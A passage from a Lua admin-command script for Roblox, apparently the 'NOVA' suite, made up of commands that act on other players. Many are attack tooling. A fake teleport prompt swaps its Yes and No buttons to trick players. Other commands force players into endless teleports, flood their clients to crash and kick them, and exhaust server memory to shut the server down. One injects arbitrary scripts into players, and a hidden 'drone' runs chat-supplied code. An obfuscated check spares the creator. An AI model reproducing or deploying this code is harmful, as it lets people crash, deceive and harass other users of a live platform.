  3830.         Part.BottomSurface = "Smooth"
  3831.         Part.Transparency = 0.5
  3832.         Part.Reflectance = 0
  3833.         Part.Size = Vector3.new(0.2,0.2,0.2)
  3834.         Part.BrickColor = BrickColor.new("Really black")
  3835.         Part.CFrame = MainCFrame
  3836.             * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3837.             * CFrame.new(0, 0, 0)
  3838.         Instance.new("CylinderMesh",Part)
  3839.  
  3840.         for i=0.2,51/4,0.5 do
  3841.             wait()
  3842.             Part.Size = Vector3.new(i,0.9,i)
  3843.             Part.CFrame = MainCFrame
  3844.             * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3845.             * CFrame.new(0, 0, 0)
  3846.         end
  3847.  
  3848.         coroutine.resume(coroutine.create(function()
  3849.             while true do wait()
  3850.                 for i=0,1,0.01 do wait() Part.Reflectance = i end
  3851.                 for i=1,0,-0.01 do wait() Part.Reflectance = i end
  3852.             end
  3853.         end))
  3854.  
  3855.         Part.Touched:connect(function(Part)
  3856.             Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  3857.             if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  3858.                 --print(Player.Name.." touched.")
  3859.                 CreateLocalScript([==[
  3860.                     LocalPlayer = game:GetService("Players").LocalPlayer
  3861.                     Places = {
  3862.                         {Name = "Oxcool1 SB",ID = 20279777};
  3863.                         {Name = "Oxcool1 PRI SB", ID = 20132544};
  3864.                         {Name = "TNS SB", ID = 23232804};
  3865.                         {Name = "BrainWart SB", ID = 76809211};
  3866.                         {Name = "nb SB",ID = 113456};
  3867.                         {Name = "nb SB (2)",ID = 56786};
  3868.                         {Name = "Insert Wars",ID = 13329886};
  3869.             {Name = "tus sb", ID = 49907749};
  3870.                     }
  3871.                     pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  3872.                     local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3873.                     Main.Name = "NOVA Teleport"
  3874.                     script.Parent = Main
  3875.  
  3876.                     local Frame = Instance.new("Frame",Main)
  3877.                     Frame.Size = UDim2.new(0.27,0,0.05,0)
  3878.                     Frame.Position = UDim2.new(0.,0,0.2,0)
  3879.                     Frame.Style = "RobloxSquare"
  3880.  
  3881.                     local Txt = Instance.new("TextBox",Frame)
  3882.                     Txt.Size = UDim2.new(0.7,0,1,0)
  3883.                     Txt.BackgroundTransparency = 1
  3884.                     Txt.FontSize = "Size14"
  3885.                     Txt.TextColor3 = Color3.new(1,1,1)
  3886.                     Txt.Text = "ID/Name Here"
  3887.                    
  3888.                     local Close = Instance.new("TextButton",Frame)
  3889.                     Close.Size = UDim2.new(0.1,0,1,0)
  3890.                     Close.Position = UDim2.new(0.9,0,0,0)
  3891.                     Close.Text = "X"
  3892.                     Close.BackgroundTransparency = 1
  3893.                     Close.FontSize = "Size14"
  3894.                     Close.TextColor3 = Color3.new(1,0,0)
  3895.                     Close.MouseButton1Down:connect(function()
  3896.                         Main:Remove()
  3897.                     end)
  3898.                    
  3899.                     local Exe = Instance.new("TextButton",Frame)
  3900.                     Exe.Size = UDim2.new(0.2,0,1,0)
  3901.                     Exe.Position = UDim2.new(0.6,0,0,0)
  3902.                     Exe.Text = "Teleport"
  3903.                     Exe.BackgroundTransparency = 1
  3904.                     Exe.FontSize = "Size14"
  3905.                     Exe.TextColor3 = Color3.new(1,0,0)
  3906.                     Exe.MouseButton1Down:connect(function()
  3907.                         GoTo = Txt.Text
  3908.                         for _,v in pairs(Places) do
  3909.                             if Txt.Text:lower() == v.Name:lower() then
  3910.                                 GoTo = v.ID
  3911.                             end
  3912.                         end
  3913.                         game:GetService'TeleportService':Teleport(GoTo)
  3914.                         Main:Remove()
  3915.                     end)
  3916.  
  3917.                     List = Instance.new("Frame",Main)
  3918.                     List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3919.                     List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3920.                     List.Style = "RobloxSquare"
  3921.  
  3922.                     for NUM,v in pairs(Places) do
  3923.                         Name = Instance.new("TextButton",List)
  3924.                         Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3925.                         Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3926.                         Name.BackgroundTransparency = 1
  3927.                         Name.FontSize = "Size14"
  3928.                         Name.TextColor3 = Color3.new(1,1,1)
  3929.                         Name.Text = v.Name
  3930.                         Name.MouseButton1Down:connect(function()
  3931.                             game:GetService'TeleportService':Teleport(v.ID)
  3932.                         end)
  3933.                         ID = Instance.new("TextButton",List)
  3934.                         ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3935.                         ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3936.                         ID.BackgroundTransparency = 1
  3937.                         ID.FontSize = "Size14"
  3938.                         ID.TextColor3 = Color3.new(1,1,1)
  3939.                         ID.Text = v.ID
  3940.                         ID.MouseButton1Down:connect(function()
  3941.                             game:GetService'TeleportService':Teleport(v.ID)
  3942.                         end)
  3943.                     end
  3944.                 ]==],Player.Backpack)
  3945.             end
  3946.         end)
  3947.     end
  3948. )
  3949.  
  3950. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
  3951.     function(Msg,Speaker)
  3952.         GetSplit(Msg)
  3953.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3954.             CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3955.         end
  3956.     end
  3957. )
  3958.  
  3959. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
  3960.     function(Msg,Speaker)
  3961.         Split = GetSplit(Msg)
  3962.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3963.             CreateLocalScript([==[
  3964.                 script.Parent = nil
  3965.                 while true do wait()
  3966.                     game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3967.                 end
  3968.             ]==],v.Backpack)
  3969.         end
  3970.     end
  3971. )
  3972.  
  3973. AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
  3974.     function(Msg,Speaker)
  3975.         Split = GetSplit(Msg)
  3976.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3977.             pcall(function()
  3978.                 CreateLocalScript([[
  3979.                     LocalPlayer = game.Players.LocalPlayer
  3980.                     script.Parent = nil
  3981.                     ScreenGui = Instance.new("ScreenGui")
  3982.                     ScreenGui.Name = "Trololol"
  3983.                     Frame = Instance.new("Frame",ScreenGui)
  3984.                     Frame.Name = "Popup"
  3985.                     Frame.Style = "RobloxRound"
  3986.                     Frame.Size = UDim2.new(0, 330, 0, 350)
  3987.                     Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
  3988.                     Frame.Active = true
  3989.                     Frame.ZIndex = 9
  3990.  
  3991.                     Image = Instance.new("ImageLabel",Frame)
  3992.                     Image.Name = "Backing"
  3993.                     Image.Image = "http://www.roblox.com/asset/?id=47574181"
  3994.                     Image.Active = true
  3995.                     Image.Size = UDim2.new(0, 280, 0, 280)
  3996.                     Image.Position = UDim2.new(0.5, -140, 0, 0)
  3997.                     Image.BackgroundTransparency = 1
  3998.                     Image.ZIndex = 8
  3999.  
  4000.                     Text = Instance.new("TextLabel",Frame)
  4001.                     Text.Name = "Popup Text"
  4002.                     Text.Text = "Are you sure you want to teleport from this place?"
  4003.                     Text.FontSize = "Size36"
  4004.                     Text.TextWrap = true
  4005.                     Text.Active = true
  4006.                     Text.TextColor3 = Color3.new(1,1,1)
  4007.                     Text.Size = UDim2.new(1, 0, 0.800000012, 0)
  4008.                     Text.Position = UDim2.new(0,0,0,0)
  4009.                     Text.BackgroundTransparency = 1
  4010.                     Text.ZIndex = 10
  4011.  
  4012.                     Accept = Instance.new("TextButton",Frame)
  4013.                     Accept.Name = "AcceptButton"
  4014.                     Accept.Text = "No"
  4015.                     Accept.Style = "RobloxButton"
  4016.                     Accept.FontSize = "Size24"
  4017.                     Accept.Active = true
  4018.                     Accept.TextColor3 = Color3.new(1,1,1)
  4019.                     Accept.Size = UDim2.new(0, 100, 0, 50)
  4020.                     Accept.Position = UDim2.new(0,20,0,270)
  4021.                     Accept.ZIndex = 10
  4022.  
  4023.                     Decline = Instance.new("TextButton",Frame)
  4024.                     Decline.Name = "DeclineButton"
  4025.                     Decline.Text = "Yes"
  4026.                     Decline.Style = "RobloxButton"
  4027.                     Decline.FontSize = "Size24"
  4028.                     Decline.Active = true
  4029.                     Decline.TextColor3 = Color3.new(1,1,1)
  4030.                     Decline.Size = UDim2.new(0, 100, 0, 50)
  4031.                     Decline.Position = UDim2.new(1, -120, 0, 270)
  4032.                     Decline.ZIndex = 10
  4033.  
  4034.                     Darken = Instance.new("Frame",Frame)
  4035.                     Darken.Name = "Darken"
  4036.                     Darken.Style = "RobloxRound"
  4037.                     Darken.Size = UDim2.new(1,16,1,16)
  4038.                     Darken.Position = UDim2.new(0,-8,0,-8)
  4039.                     Darken.Active = true
  4040.                     Darken.Visible = false
  4041.  
  4042.                     Backing = Instance.new("Frame",ScreenGui)
  4043.                     Backing.Name = "Backing"
  4044.                     Backing.BackgroundColor3 = Color3.new(1,1,1)
  4045.                     Backing.Size = UDim2.new(1,0,1,0)
  4046.                     Backing.Active = true
  4047.                     ScreenGui.Parent = game:GetService("CoreGui")
  4048.                    
  4049.                     while true do wait()
  4050.                         game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
  4051.                     end
  4052.  
  4053.  
  4054.                 ]],v.Backpack)
  4055.             end)
  4056.         end
  4057.     end
  4058. )
  4059.  
  4060. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  4061.     function(Msg,Speaker)
  4062.             coroutine.resume(coroutine.create(function()
  4063.             NOVA.Services.Lighting.TimeOfDay = 0
  4064.             NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  4065.             NOVA.Services.Lighting.Brightness = 0
  4066.             NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  4067.             NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  4068.             NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  4069.  
  4070.             for _,v in pairs(GetRecursiveChildren(workspace)) do
  4071.                 if v:IsA("BasePart") then
  4072.                     Sel = Instance.new("SelectionBox",v)
  4073.                     Sel.Color = BrickColor.new("Really red")
  4074.                     Sel.Transparency = 0
  4075.                     Sel.Adornee = v
  4076.                 end
  4077.             end
  4078.             for i=10,1,-1 do
  4079.                 NOVA.Sounds.Sound.Parent = workspace
  4080.                 NOVA.Sounds.Sound.Volume = 1
  4081.                 NOVA.Sounds.Sound.Pitch = 1
  4082.                 NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  4083.                 wait(1)
  4084.                 NOVA.Sounds.Sound:Play()
  4085.                 if NOVA.Overrided == true then return end
  4086.             end
  4087.             for i=5,1,-1 do
  4088.                 NOVA.Sounds.Sound.Parent = workspace
  4089.                 NOVA.Sounds.Sound.Volume = 1
  4090.                 NOVA.Sounds.Sound.Pitch = 1
  4091.                 NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  4092.                 wait(1)
  4093.                 NOVA.Sounds.Sound:Play()
  4094.                 if NOVA.Overrided == true then return end
  4095.             end
  4096.             wait(1)
  4097.        
  4098.     Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
  4099.     wait(1)
  4100.         Instance.new("ManualSurfaceJointInstance",workspace)
  4101.         end))
  4102.     end
  4103. )
  4104.  
  4105. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  4106.     function(Msg,Speaker)
  4107.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4108.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4109.                 Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4110.             else
  4111.                 pcall(function()
  4112.                     GetRidOf(v)
  4113.                 end)
  4114.             end
  4115.         end
  4116.     end
  4117. )
  4118.  
  4119. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  4120.     function(Msg,Speaker)
  4121.         coroutine.resume(coroutine.create(function()
  4122.             for _,v in pairs(NOVA.Sounds.Numbers) do
  4123.                 NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4124.                 NOVA.Sounds.Sound.SoundId = v
  4125.                 NOVA.Sounds.Sound.Volume = 0
  4126.                 wait()
  4127.                 NOVA.Sounds.Sound:Play()
  4128.                 wait()
  4129.                 NOVA.Sounds.Sound:Stop()
  4130.                 wait(1)
  4131.             end
  4132.             for _,v in pairs(NOVA.Sounds.PlayAfter) do
  4133.                 NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4134.                 NOVA.Sounds.Sound.SoundId = v
  4135.                 NOVA.Sounds.Sound.Volume = 0
  4136.                 wait()
  4137.                 NOVA.Sounds.Sound:Play()
  4138.                 wait()
  4139.                 NOVA.Sounds.Sound:Stop()
  4140.                 wait(1)
  4141.             end
  4142.             NOVA.Sounds.Sound.Volume = 1
  4143.         end))
  4144.     end
  4145. )
  4146.  
  4147. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  4148.     function(Msg,Speaker)
  4149.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4150.             table.insert(NOVA.Targeted,v)
  4151.             for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4152.                 if part:IsA("Part") then
  4153.                     coroutine.resume(coroutine.create(function()
  4154.                         local SB = Instance.new("SelectionBox",part)
  4155.                         SB.Name = "NOVA Target Selection Box"
  4156.                         SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4157.                         SB.Adornee = part
  4158.                         wait(3)
  4159.                         SB:remove()
  4160.                     end))
  4161.                 end
  4162.             end
  4163.         end
  4164.     end
  4165. )
  4166.  
  4167. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  4168.     function(Msg,Speaker)
  4169.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4170.             for i=1,#NOVA.Targeted do
  4171.                 if NOVA.Targeted[i] == v then
  4172.                     table.remove(NOVA.Targeted,i)
  4173.                 end
  4174.             end
  4175.         end
  4176.     end
  4177. )
  4178.  
  4179. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  4180.     function(Msg,Speaker)
  4181.         CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  4182.     end
  4183. )
  4184.  
  4185. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  4186.     function(Msg,Speaker)
  4187.         CreateLocalScript([[
  4188.    
  4189.      LocalPlayer = game:GetService("Players").LocalPlayer
  4190. script.Parent = LocalPlayer
  4191.             NOVA = {
  4192.               Bet = "/";
  4193.                 Services = {
  4194.                     Workspace = game:GetService("Workspace");
  4195.                     Lighting = game:GetService("Lighting");
  4196.                     Debris = game:GetService("Debris");
  4197.                     Players = game:GetService("Players");
  4198.                     Teams = game:GetService("Teams");
  4199.                     SoundService = game:GetService("SoundService");
  4200.                     StarterGui = game:GetService("StarterGui");
  4201.                     StarterPack = game:GetService("StarterPack");
  4202.                 };
  4203.                
  4204.                 Camera = workspace.CurrentCamera;
  4205.                 LocalCharacter = Instance.new("Model");
  4206.                 LocalHead = Instance.new("Part");
  4207.                 LocalFire = Instance.new("Fire");
  4208.             }
  4209.             script.Name = NOVA.LocalPlayer.Name
  4210.             script.Parent = nil
  4211.             repeat wait() until NOVA.LocalPlayer.Parent == nil
  4212.             game.Players.LocalPlayer.Chatted:connect(function(Msg)
  4213.             if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
  4214.                     game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
  4215.                    
  4216.                     if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
  4217.                         game:GetService'TeleportService':Teleport(game.PlaceId)
  4218.                     end
  4219.                     if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
  4220.                         pcall(function()
  4221.                             newScript(Msg:sub(4),workspace)
  4222.                         end)
  4223.                     end
  4224.                     if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
  4225.                         coroutine.resume(coroutine.create(function()
  4226.                             pcall(function()
  4227.                                 loadstring(Msg:sub(8))()
  4228.                             end)
  4229.                         end))
  4230.                     end
  4231.                     if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
  4232.                         LocalPlayer.Character = workspace
  4233.                     end
  4234.                 end
  4235.             end)
  4236.            
  4237.             NOVA.LocalPlayer.Character = nil
  4238.             NOVA.LocalHead.FormFactor = "Custom"
  4239.             NOVA.LocalHead.Size = Vector3.new(3,3,3)
  4240.             NOVA.LocalHead.Reflectance = 1e+999
  4241.             NOVA.LocalHead.Shape = "Ball"
  4242.             NOVA.LocalHead.Anchored = true
  4243.             NOVA.LocalHead.CanCollide = false
  4244.             NOVA.LocalHead.Transparency = 0
  4245.             NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  4246.            
  4247.             NOVA.LocalFire.Color = Color3.new(0,0,0)
  4248.             NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  4249.             NOVA.LocalFire.Heat = 12
  4250.             NOVA.LocalFire.Size = 7    
  4251.  
  4252.             while wait() do
  4253.                 pcall(function()
  4254.                     NOVA.LocalCharacter.Parent=workspace
  4255.                     NOVA.LocalHead.Parent = NOVA.LocalCharacter
  4256.                     NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  4257.                     NOVA.LocalFire.Parent = NOVA.LocalHead
  4258.                 end)
  4259.             end
  4260.         ]],Speaker.Backpack)
  4261.     end
  4262. )
  4263.  
  4264.  
  4265. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  4266.     function(Msg,Speaker)
  4267.         CreateScript(Msg,workspace)
  4268.     end
  4269. )
  4270.  
  4271. AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
  4272.     function(Msg,Speaker)
  4273.         for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4274.             CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4275.         end
  4276.     end
  4277. )
  4278.  
  4279. AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
  4280.     function(Msg,Speaker)
  4281.         for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4282.             CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4283.         end
  4284.     end
  4285. )
  4286.  
  4287. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  4288.     function(Msg,Speaker)
  4289.         CreateLocalScript(Msg,Speaker.Backpack)
  4290.     end
  4291. )
  4292.  
  4293. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  4294.     function(Msg,Speaker)
  4295.         for _,v in pairs(GetRecursiveChildren(workspace)) do
  4296.             pcall(function()
  4297.                 v.Transparency = 7.3015691270939e-002
  4298.             end)
  4299.         end
  4300.     end
  4301. )
  4302.  
  4303. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  4304.     function(Msg,Speaker)
  4305.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4306.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4307.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4308.             else
  4309.                 pcall(function()
  4310.                     CreateLocalScript([==[
  4311.                         LocalPlayer = game:GetService("Players").LocalPlayer
  4312.                         Camera = workspace.CurrentCamera
  4313.                         while wait() do
  4314.                             for i=1,10 do
  4315.                                 Part = Instance.new("Seat",Camera)
  4316.                                 Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  4317.                                 Part.Shape = "Ball"
  4318.                                 Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  4319.                                 Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  4320.                             end
  4321.                         end
  4322.                     ]==],v.Backpack)
  4323.                 end)
  4324.             end
  4325.         end
  4326.     end
  4327. )
  4328.  
  4329. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  4330.     function(Msg,Speaker)
  4331.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4332.             CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  4333.         end
  4334.     end
  4335. )
  4336.  
  4337. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  4338.     function(Msg,Speaker)
  4339.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4340.             for _,GUI in pairs(v.PlayerGui:children()) do
  4341.                 GUI:Clone().Parent = Speaker.PlayerGui
  4342.             end
  4343.         end
  4344.     end
  4345. )
  4346.  
  4347. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  4348.     function(Msg,Speaker)
  4349.         for _,v in pairs(NOVA.Targeted) do
  4350.             for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4351.                 if part:IsA("Part") then
  4352.                     coroutine.resume(coroutine.create(function()
  4353.                         local SB = Instance.new("SelectionBox",part)
  4354.                         SB.Name = "NOVA Target Selection Box"
  4355.                         SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4356.                         SB.Adornee = part
  4357.                         wait(3)
  4358.                         SB:remove()
  4359.                     end))
  4360.                 end
  4361.             end
  4362.         end
  4363.     end
  4364. )
  4365.  
  4366. AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
  4367.     function(Msg,Speaker)
  4368.         if Msg:sub(1,4) == "add" .. NOVA.Bet then
  4369.             Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  4370.         elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
  4371.             Speaker:SaveString("NoteToSelf",Msg:sub(5))
  4372.         elseif Msg == "see" then
  4373.             Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  4374.         end
  4375.     end
  4376. )
  4377.  
  4378. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  4379.     function(Msg,Speaker)
  4380.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4381.             local Char = v.Character
  4382.             local Smite = Instance.new("Part",workspace)
  4383.             Smite.FormFactor = "Custom"
  4384.             Smite.TopSurface = "Smooth"
  4385.             Smite.BottomSurface = "Smooth"
  4386.             Smite.Anchored = true
  4387.             Smite.Locked = true
  4388.             Smite.Size = Vector3.new(25,3,25)
  4389.             Smite.BrickColor = BrickColor.new("New Yeller")
  4390.             Smite.Transparency = 1
  4391.             Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  4392.             for i=1,0,-0.05 do
  4393.                 wait()
  4394.                 Smite.Transparency = i
  4395.             end
  4396.             coroutine.resume(coroutine.create(function()
  4397.                 for i=0,1,0.05 do
  4398.                     wait()
  4399.                     Smite.Transparency = i
  4400.                 end
  4401.                 Smite:remove()
  4402.             end))
  4403.             wait()
  4404.             local Expl = Instance.new("Explosion",workspace)
  4405.             Expl.Position = Smite.Position
  4406.             Expl.BlastPressure = 1000000000
  4407.            
  4408.             for _,Part in pairs(GetRecursiveChildren(Char)) do
  4409.                 if Part:IsA("BasePart") then
  4410.                     coroutine.resume(coroutine.create(function()
  4411.                         for i=1,10 do
  4412.                             local Sparkles = Instance.new("Sparkles",Part)
  4413.                             Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4414.                             local Fire = Instance.new("Fire",Part)
  4415.                             Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4416.                             Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4417.                         end
  4418.                         Part:BreakJoints()
  4419.                         local BP = Instance.new("BodyPosition",Part)
  4420.                         BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  4421.                         BP.P = 1000
  4422.                         BP.position = Part.Position + Vector3.new(
  4423.                             math.random(-100,100),
  4424.                             100,
  4425.                             math.random(-100,100))
  4426.                         wait(3)
  4427.                         local Expl = Instance.new("Explosion",workspace)
  4428.                         Expl.Position = Part.Position
  4429.                         Expl.BlastPressure = 1000000000
  4430.                     end))
  4431.                 end
  4432.             end
  4433.         end
  4434.     end
  4435. )
  4436. AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
  4437.     function(Msg,Speaker)
  4438.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4439.             pcall(function()
  4440.     v.Character.Pants:Remove()
  4441.     v.Character.Shirt:Remove()
  4442.             end)
  4443.         end
  4444.     end
  4445. )
  4446.  
  4447. AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
  4448.     function(Msg,Speaker)
  4449.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4450.        
  4451.                         v.Character.Humanoid.Changed:connect(function(val)
  4452.                                 if val == "Health" then
  4453.                                         v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4454.                                 end
  4455.  
  4456.            
  4457.              end)
  4458.         end
  4459.     end
  4460. )
  4461.  
  4462. AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
  4463.     function(Msg,Speaker)  
  4464.     NOVA.Bet = Msg
  4465.     end
  4466. )
  4467. AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
  4468.     function(Msg,Speaker)
  4469.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4470.            
  4471.             coroutine.resume(coroutine.create(function()
  4472.                 while wait() do
  4473.             for i = 1, 100 do
  4474.             if v:findFirstChild("PlayerGui") ~= nil then
  4475.             local mes = Instance.new("Message", v.PlayerGui)
  4476.             mes.Text = "Crashing"
  4477.             local ex = Instance.new("Explosion", v.PlayerGui)
  4478.             ex.BlastRadius = math.huge
  4479.             local hint = Instance.new("Hint", v.PlayerGui)
  4480.             hint.Text = "---------------------------------------------------------------------------"
  4481.             local s = Instance.new("ScreenGui", v.PlayerGui)
  4482.             local txt = Instance.new("TextBox", s)
  4483.             txt.Size = UDim2.new(1, 0, 1, 0)
  4484.             txt.Text = "Your Being Lagged"
  4485.             txt.FontSize = "Size48"
  4486.             end
  4487.             end
  4488.                 end
  4489.             end))
  4490.         end
  4491.     end
  4492. )
  4493. AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
  4494.     function(Msg,Speaker)
  4495.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4496.             pcall(function()
  4497.             v.Chatted:connect(function(Msg)
  4498.             local m = Instance.new("Explosion",v.Character.Head)
  4499.             m.Position = v.Character.Head.Position
  4500.             end)
  4501.             end)
  4502.         end
  4503.     end
  4504. )
  4505. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  4506.     function(Msg,Speaker)
  4507.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4508.             pcall(function()
  4509.                 for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  4510.                     if Part:IsA("BasePart") then
  4511.                         for i=1,10 do
  4512.                             local Sparkles = Instance.new("Sparkles",Part)
  4513.                             Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4514.                             local Fire = Instance.new("Fire",Part)
  4515.                             Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4516.                             Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4517.                         end
  4518.                     end
  4519.                 end
  4520.             end)
  4521.         end
  4522.     end
  4523. )
  4524.  
  4525. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  4526.     function(Msg,Speaker)
  4527.         if NOVA.ShowChat == true then
  4528.             NOVA.ShowChat = false
  4529.         elseif NOVA.ShowChat == false then
  4530.             NOVA.ShowChat = true
  4531.         end
  4532.     end
  4533. )
  4534.  
  4535.  
  4536. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  4537.     function(Msg,Speaker)
  4538.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4539.             if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4540.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4541.             else
  4542.                 pcall(function()
  4543.                     CreateLocalScript([[
  4544.                         script.Parent = workspace.CurrentCamera
  4545.                         while wait() do
  4546.                             coroutine.resume(coroutine.create(function()
  4547.                                 for i=1,math.huge do
  4548.                                     wait()
  4549.                                     for i=1,10 do
  4550.                                         NS = script:Clone()
  4551.                                         NS.Disabled = true
  4552.                                         NS.Parent = game:GetService("Players").LocalPlayer.Backpack
  4553.                                         NS.Disabled = false
  4554.                                     end
  4555.                                     for i=1,10 do
  4556.                                         game:GetService("Players").LocalPlayer.Character.Archivable = true
  4557.                                         local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
